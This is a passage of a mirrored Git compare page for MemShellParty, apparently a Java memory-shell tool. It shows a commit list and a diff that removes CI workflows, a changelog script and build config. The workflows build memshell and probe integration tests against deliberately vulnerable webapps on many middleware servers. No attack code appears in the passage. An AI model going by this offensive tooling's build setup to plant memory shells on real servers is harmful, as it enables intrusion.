mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -1,19 +0,0 @@
|
|||||||
.git
|
|
||||||
.gradle
|
|
||||||
.idea
|
|
||||||
.vscode
|
|
||||||
.DS_Store
|
|
||||||
|
|
||||||
**/.DS_Store
|
|
||||||
**/.gradle
|
|
||||||
**/build
|
|
||||||
**/bin
|
|
||||||
|
|
||||||
web/.react-router
|
|
||||||
web/.source
|
|
||||||
web/build
|
|
||||||
web/node_modules
|
|
||||||
|
|
||||||
integration-test
|
|
||||||
tools
|
|
||||||
vul
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
import argparse
|
|
||||||
import sys
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
capture = False
|
|
||||||
result_lines = []
|
|
||||||
parser = argparse.ArgumentParser(description="Extract changelog for a specific version")
|
|
||||||
parser.add_argument("version", help="The version of the changelog to extract, e.g. 'v1.0.0'")
|
|
||||||
args = parser.parse_args()
|
|
||||||
version = args.version
|
|
||||||
|
|
||||||
with open("../../web/content/docs/changelog.mdx") as f:
|
|
||||||
lines = f.readlines()
|
|
||||||
for line in lines:
|
|
||||||
if line.startswith(f"## [{version}]"):
|
|
||||||
capture = True
|
|
||||||
elif capture and line.startswith("## ["):
|
|
||||||
break
|
|
||||||
elif capture:
|
|
||||||
result_lines.append(line)
|
|
||||||
if not result_lines:
|
|
||||||
print("Specified version not found.", file=sys.stderr)
|
|
||||||
sys.exit(1)
|
|
||||||
result_lines.append("## 更新方式\n")
|
|
||||||
result_lines.append("### Docker 部署\n")
|
|
||||||
result_lines.append("```bash\n")
|
|
||||||
result_lines.append("docker rm -f memshell-party\n\n")
|
|
||||||
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
|
|
||||||
result_lines.append("```\n")
|
|
||||||
result_lines.append("### Jar 包启动\n")
|
|
||||||
result_lines.append("> 仅支持 JDK17 及以上版本\n")
|
|
||||||
result_lines.append("```bash\n")
|
|
||||||
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
|
|
||||||
result_lines.append("```\n")
|
|
||||||
print("".join(result_lines).strip())
|
|
||||||
@@ -1,130 +0,0 @@
|
|||||||
name: "Dev Deploy"
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- dev
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
build-jar:
|
|
||||||
name: Build Jar
|
|
||||||
strategy:
|
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
|
||||||
uses: oven-sh/setup-bun@v2
|
|
||||||
with:
|
|
||||||
bun-version: latest
|
|
||||||
|
|
||||||
- name: Build Web with Bun
|
|
||||||
working-directory: web
|
|
||||||
run: bun install --frozen-lockfile && bun run build
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
|
||||||
if: matrix.os == 'windows-latest'
|
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v7
|
|
||||||
with:
|
|
||||||
name: boot
|
|
||||||
path: boot/build/libs/*.jar
|
|
||||||
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
needs: [ build-jar ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Download Boot Jar
|
|
||||||
uses: actions/download-artifact@v8
|
|
||||||
with:
|
|
||||||
name: boot
|
|
||||||
path: boot/build/libs
|
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v4
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v4
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v4
|
|
||||||
|
|
||||||
- name: Build and push
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: boot
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
push: true
|
|
||||||
tags: docker.io/reajason/memshell-party:dev
|
|
||||||
|
|
||||||
deploy-maven:
|
|
||||||
name: Deploy to Maven Central
|
|
||||||
needs: [ build-jar ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
deploy-northflank:
|
|
||||||
name: Deploy to Northflank
|
|
||||||
needs: [ docker-push ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
env:
|
|
||||||
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
|
|
||||||
steps:
|
|
||||||
- name: Update Deployment
|
|
||||||
run: |
|
|
||||||
curl --header "Content-Type: application/json" \
|
|
||||||
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
|
|
||||||
--request POST \
|
|
||||||
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
|
|
||||||
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
|
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
name: Docker Build Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'examples/**'
|
|
||||||
- 'vul/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
docker-build-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: |
|
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
|
||||||
docker images
|
|
||||||
- name: Run Docker container
|
|
||||||
run: |
|
|
||||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
|
||||||
sleep 10
|
|
||||||
- name: Test with curl
|
|
||||||
run: |
|
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
|
||||||
echo "Test successful!"
|
|
||||||
else
|
|
||||||
echo "Test failed!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
name: docker-push
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
path:
|
|
||||||
description: 'Path'
|
|
||||||
required: true
|
|
||||||
default: '/redqueen-memshell-party'
|
|
||||||
tag:
|
|
||||||
description: "Tag"
|
|
||||||
required: true
|
|
||||||
default: "redqueen"
|
|
||||||
jobs:
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v4
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v4
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v4
|
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
|
||||||
CONTEXT_PATH=${{ inputs.path }}
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
|
||||||
@@ -1,90 +0,0 @@
|
|||||||
name: MemShell IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- './github/workflows/memshell-integration-test.yml'
|
|
||||||
- '**/memshell/**'
|
|
||||||
- '**/packer/**'
|
|
||||||
- '**/dubbo/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
memshell-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "xxljob"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
- middleware: "jenkins"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "geronimo"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "dubbo"
|
|
||||||
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware != 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Dubbo Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware == 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:dubboContainerTest --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/*/TEST-*.xml'
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
name: Probe IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- '**/probe/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v6
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -14,20 +14,20 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
- uses: actions/setup-python@v5
|
||||||
|
with:
|
||||||
|
python-version: '3.13'
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
run: |
|
uses: battila7/get-version-action@v2
|
||||||
VERSION=${GITHUB_REF#refs/tags/}
|
|
||||||
VERSION_WITHOUT_V=${VERSION#v}
|
|
||||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
|
||||||
echo "version-without-v=$VERSION_WITHOUT_V" >> $GITHUB_OUTPUT
|
|
||||||
|
|
||||||
- name: Get ChangeLog
|
- name: Get ChangeLog
|
||||||
id: get_changelog
|
id: get_changelog
|
||||||
working-directory: .github/scripts
|
working-directory: scripts
|
||||||
run: |
|
run: |
|
||||||
|
CHANGELOG=$(python parse_changelog_of_version.py "${{ steps.get_version.outputs.version }}")
|
||||||
echo "changelog<<EOF" >> $GITHUB_OUTPUT
|
echo "changelog<<EOF" >> $GITHUB_OUTPUT
|
||||||
echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
|
echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
|
||||||
echo "EOF" >> $GITHUB_OUTPUT
|
echo "EOF" >> $GITHUB_OUTPUT
|
||||||
